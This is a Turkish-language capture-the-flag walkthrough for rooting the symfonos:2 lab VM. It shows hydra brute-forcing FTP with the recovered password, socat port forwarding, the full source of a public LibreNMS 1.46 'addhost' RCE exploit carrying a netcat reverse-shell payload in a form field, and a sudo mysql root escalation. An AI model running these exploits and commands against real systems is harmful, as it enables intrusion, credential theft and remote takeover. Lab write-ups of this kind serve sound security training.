# A basic anonymous configuration, no upload directories. If you do not
# want anonymous users, simply delete this entire <Anonymous> section.
<Anonymous ~ftp>
User ftp
Group ftp
# We want clients to be able to login with "anonymous" as well as "ftp"
UserAlias anonymous ftp
# Limit the maximum number of anonymous logins
MaxClients 10
# We want 'welcome.msg' displayed at login, and '.message' displayed
# in each newly chdired directory.
#DisplayLogin welcome.msg
#DisplayChdir .message
# Limit WRITE everywhere in the anonymous chroot
<Limit WRITE>
DenyAll
</Limit>
</Anonymous>
İçeri girdikten sonra bir dosya bulduk ve bunu okudum. Bu dosyadan anladıklarım aslında şunlar, ftp'ye anonymous giriş yapabilmem lazım ancak yapamadım. Nedenini anlmadım belki doğru bir config değildir. Onun haricinde /etc/shadow dosyasının kopyalandığını görüyorum. İçeri bir şekilde girebilirsek bu dosyadan belki parola elde edebiliriz.
İnternet s,tes,ne baktığımda bir şey bulamadım nikto ve gobuster çıktıları normaldi. Bunun üzerine elimde olan tek şey olan kullanıcılara kabakuvvet saldırısı yapmaya başladım hem ssh hemde ftp için. FTP'den daha hızlı cevap aldım.
┌──(root💀kali)-[~/oscp/symfonos2]
└─# hydra -L users -P /usr/share/wordlists/rockyou.txt ftp://192.168.31.111
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-25 12:38:51
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 57377596 login tries (l:4/p:14344399), ~3586100 tries per task
[DATA] attacking ftp://192.168.31.111:21/
[STATUS] 2742.00 tries/min, 2742 tries in 00:01h, 57374854 to do in 348:45h, 16 active
[STATUS] 2780.67 tries/min, 8342 tries in 00:03h, 57369254 to do in 343:52h, 16 active
[STATUS] 2767.29 tries/min, 19371 tries in 00:07h, 57358225 to do in 345:28h, 16 active
[21][ftp] host: 192.168.31.111 login: aeolus password: sergioteamo
[STATUS] 957418.87 tries/min, 14361283 tries in 00:15h, 43016313 to do in 00:45h, 16 active
[STATUS] 464713.13 tries/min, 14406107 tries in 00:31h, 42971489 to do in 01:33h, 16 active
[STATUS] 307472.53 tries/min, 14451209 tries in 00:47h, 42926387 to do in 02:20h, 16 active
[STATUS] 230106.22 tries/min, 14496692 tries in 01:03h, 42880904 to do in 03:07h, 16 active
[STATUS] 184080.04 tries/min, 14542323 tries in 01:19h, 42835273 to do in 03:53h, 16 active
[STATUS] 153556.65 tries/min, 14587882 tries in 01:35h, 42789714 to do in 04:39h, 16 active
[STATUS] 131835.22 tries/min, 14633709 tries in 01:51h, 42743887 to do in 05:25h, 16 active
[STATUS] 115587.82 tries/min, 14679653 tries in 02:07h, 42697943 to do in 06:10h, 16 active
[STATUS] 102970.38 tries/min, 14724764 tries in 02:23h, 42652832 to do in 06:55h, 16 active
Hahah saldırı hala devam ediyor... Burdan elde ettiğim kullanıcıyla ssh aracılığı ile bağlandım.
┌──(root💀kali)-[~/oscp/symfonos2]
└─# ssh [email protected]
The authenticity of host '192.168.31.111 (192.168.31.111)' can't be established.
ECDSA key fingerprint is SHA256:B1Gy++lPIkpytQPksfdhzAydQ8n3Hlor7srtoKol248.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.111' (ECDSA) to the list of known hosts.
[email protected]'s password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Jul 18 08:52:59 2019 from 192.168.201.1
aeolus@symfonos2:~$ whoami
aeolus
aeolus@symfonos2:~$ pwd
/home/aeolus
aeolus@symfonos2:~$
Harika içerdeyiz! İlk iş olarak lse.sh dosyasını yükledim ve bir tarama gerçekleştirdim. Gözüme çarpan bir şey yoktu... Bunun üzerine log.txt'de gördüğüm shadow dosyasını kontrol ettim. Hashler elimdeydi ancak john ile kıramadım...
İçeride nmap yüklüydü ve tamamen şans eseri bir nmap taraması gerçekleştirdim kendime orda ilginç bir şey farkettim.
aeolus@symfonos2:/bin$ nmap 127.0.0.1 -p-
Starting Nmap 7.40 ( https://nmap.org ) at 2021-06-25 16:26 CDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000074s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
5355/tcp open llmnr
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 2.37 seconds
aeolus@symfonos2:/bin$ which socat
/usr/bin/socat
localhost'a sadece hizmet veren serisler olduğunu gördüm. Sanki yeni başlıyor gibiyiz 🙂
Bunun üzerine hemen socat var mı diye kontrol ettim ve 8080. portu 8081'e yönlendirdim.
aeolus@symfonos2:/bin$ socat TCP-LISTEN:8081,fork,reuseaddr TCP:127.0.0.1:8080 &
[1] 22107
aeolus@symfonos2:/bin$
Bu sayede loaclhost artık dışarı hizmet vermeye başladı...
┌──(root💀kali)-[~/oscp/symfonos2]
└─# nmap -p 8081 192.168.31.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 14:45 EDT
Nmap scan report for symfonos2 (192.168.31.111)
Host is up (0.00030s latency).
PORT STATE SERVICE
8081/tcp open blackice-icecap
MAC Address: 08:00:27:39:02:B1 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Harika. İnternet sayfasını ziyaret ettim. Bir login ekranı ile karşılaştım ve uygulamanın adı: librenms
İlk başta login olmayı denedim. admin:admin ile giriş yaptığımda beni başka bir sayfaya yönlendirdi ilk seferde giriş yaptım sandım ama yanılmışım. admin:sdfgnsaskf ile de aynı sayfaya gittim. Bunun üzerine hydra ile kırdığım kullanıcı ile giriş yapmayı denedim ve dashboard karşıma geldi. (aeolus:sergioteamo)
Biraz gezindikten sonra uygulama ile ilgli exploit aradım.
┌──(root💀kali)-[~/oscp/symfonos2]
└─# searchsploit librenms
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
LibreNMS - addhost Command Injection (Metasploit) | linux/remote/46970.rb
LibreNMS - Collectd Command Injection (Metasploit) | linux/remote/47375.rb
LibreNMS 1.46 - 'addhost' Remote Code Execution | php/webapps/47044.py
LibreNMS 1.46 - 'search' SQL Injection | multiple/webapps/48453.txt
LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection | multiple/webapps/49246.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[~/oscp/symfonos2]
└─# locate php/webapps/47044.py
/usr/share/exploitdb/exploits/php/webapps/47044.py
┌──(root💀kali)-[~/oscp/symfonos2]
└─# cat /usr/share/exploitdb/exploits/php/webapps/47044.py
#!/usr/bin/python
'''
# Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution
# Date: 24/12/2018
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.librenms.org/
# Version: v1.46
# Tested on: Ubuntu 18.04 / PHP 7.2.10
'''
import requests
from urllib import urlencode
import sys
if len(sys.argv) != 5:
print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport"
sys.exit(0)
# target (user input)
target = sys.argv[1]
# cookies (user input)
raw_cookies = sys.argv[2]
# remote host to connect to
rhost = sys.argv[3]
# remote port to connect to
rport = sys.argv[4]
# hostname to use (change it if you want)
hostname = "dummydevice"
# payload to create reverse shell
payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport)
# request headers
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101"
}
# request cookies
cookies = {}
for cookie in raw_cookies.split(";"):
# print cookie
c = cookie.split("=")
cookies[c[0]] = c[1]
def create_new_device(url):
raw_request = {
"hostname": hostname,
"snmp": "on",
"sysName": "",
"hardware": "",
"os": "",
"snmpver": "v2c",
"os_id": "",
"port": "",
"transport": "udp",
"port_assoc_mode": "ifIndex",
"community": payload,
"authlevel": "noAuthNoPriv",
"authname": "",
"authpass": "",
"cryptopass": "",
"authalgo": "MD5",
"cryptoalgo": "AES",
"force_add": "on",
"Submit": ""
}
full_url = url + "/addhost/"
request_body = urlencode(raw_request)
# send the device creation request
request = requests.post(
full_url, data=request_body, cookies=cookies, headers=headers
)
text = request.text
if "Device added" in text:
print "[+] Device Created Sucssfully"
return True
else:
print "[-] Cannot Create Device"
return False
def request_exploit(url):
params = {
"id": "capture",
"format": "text",
"type": "snmpwalk",
"hostname": hostname
}
# send the payload call
request = requests.get(url + "/ajax_output.php",
params=params,
headers=headers,
cookies=cookies
)
text = request.text
if rhost in text:
print "[+] Done, check your nc !"
if create_new_device(target):
request_exploit(target) Exploit'in kodlarınan anladığımıza göre cookie bilgisi istiyor ve ilk başta bind shell alacağımı sanmıştım ancak reverse için ip adresimiz ve port. nc ile bir dinlemen noktası başlattım ve exploiti çalıştırdım.
┌──(root💀kali)-[~/oscp/symfonos2]
└─# python /usr/share/exploitdb/exploits/php/webapps/47044.py http://192.168.31.111:8081/ "XSRF-TOKEN=eyJpdiI6IkxNeWczVVhyUzYyeDhZUjRXeVRBb0E9PSIsInZhbHVlIjoicnhqenpUbnBHcjdjTWc3V1JqV29mMVgrSlpIS3grYmtMWGpEV1RiYXphTFo5bVBlYWJmMmRoTFdNNTRBTEtvU3ZldnBYY0RqMVZCMlwvYlhtQXdTM1wvQT09IiwibWFjIjoiODZhYzFkOWYxOWRkYmVmNzUwZjljZDM0YTdiM2VjYTM3MzU1OTAwYWFiYmQ2NTkwZDhlYjNjMzQ4MWMxYWM3MiJ9; librenms_session=eyJpdiI6Im9MUWZwalNacWhnTXVzbnhFR3pRNHc9PSIsInZhbHVlIjoiS0xVc1ZXckhTXC8zYlM2K2JiTGpsOTdZQ0QyMGFESkRadVFKeWlmNG8raGR3VVFwZXN0ZHBIWEtJQTRzaThVaDJKbFV0aEZwODZudWU2cHhNZ0RJR1RBPT0iLCJtYWMiOiI4Zjc2OWU0NzEzMDhlZWIwMDA0MWM2OTQwOGI4YmEwMWZlOGNkZmFhZTEwZWY4ZGNmMDNkYWIzMTBmYzgwYmU3In0%3D; PHPSESSID=rd33kcneo8rmu167tlf4uopkv3" 192.168.31.102 1822
[+] Device Created Sucssfully
┌──(root💀kali)-[~/oscp/symfonos2]
└─# nc -lvp 1822
listening on [any] 1822 ...
192.168.31.111: inverse host lookup failed: Unknown host
connect to [192.168.31.102] from (UNKNOWN) [192.168.31.111] 47052
/bin/sh: 0: can't access tty; job control turned off
$ whoami
cronus
$ python -c 'import pty; pty.spawn("/bin/bash")'
cronus@symfonos2:/opt/librenms/html$
cronus@symfonos2:/opt/librenms/html$ whoami
whoami
cronus
Harika! Dürüst olayım ilk işim sudo -l oldu ve birde ne göreyim.
cronus@symfonos2:/opt/librenms/html$ sudo -l
sudo -l
Matching Defaults entries for cronus on symfonos2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cronus may run the following commands on symfonos2:
(root) NOPASSWD: /usr/bin/mysql
cronus@symfonos2:/opt/librenms/html$ sudo mysql -e '\! /bin/sh'
sudo mysql -e '\! /bin/sh'
# whoami
whoami
root
# cd /root
cd /root
# ls
ls
proof.txt
# cat proof.txt
cat proof.txt
Congrats on rooting symfonos:2!
, ,
,-`{-`/
,-~ , \ {-~~-,
,~ , ,`,-~~-,`,
,` , { { } } }/
; ,--/`\ \ / / }/ /,/
; ,-./ \ \ { { ( /,; ,/ ,/
; / ` } } `, `-`-.___ / `, ,/ `,/
\| ,`,` `~.___,---} / ,`,,/ ,`,;
` { { __ / ,`/ ,`,;
/ \ \ _,`, `{ `,{ `,`;`
{ } } /~\ .-:::-. (--, ;\ `,} `,`;
\\._./ / /` , \ ,:::::::::, `~; \},/ `,`; ,-=-
`-..-` /. ` .\_ ;:::::::::::; __,{ `/ `,`; {
/ , ~ . ^ `~`\:::::::::::<<~>-,,`, `-, ``,_ }
/~~ . ` . ~ , .`~~\:::::::; _-~ ;__, `,-`
/`\ /~, . ~ , ' ` , .` \::::;` <<<~``` ``-,,__ ;
/` .`\ /` . ^ , ~ , . ` . ~\~ \\, `,__
/ ` , ,`\. ` ~ , ^ , ` ~ . . ``~~~`, `-`--, \
/ , ~ . ~ \ , ` . ^ ` , . ^ . , ` .`-,___,---,__ ``
/` ` . ~ . ` `\ ` ~ , . , ` , . ~ ^ , . ~ , .`~---,___
/` . ` , . ~ , \ ` ~ , . ^ , ~ . ` , ~ . ^ , ~ . `-,
Contact me via Twitter @zayotic to give feedback!
Harika!
İlk Yorumu Siz Yapın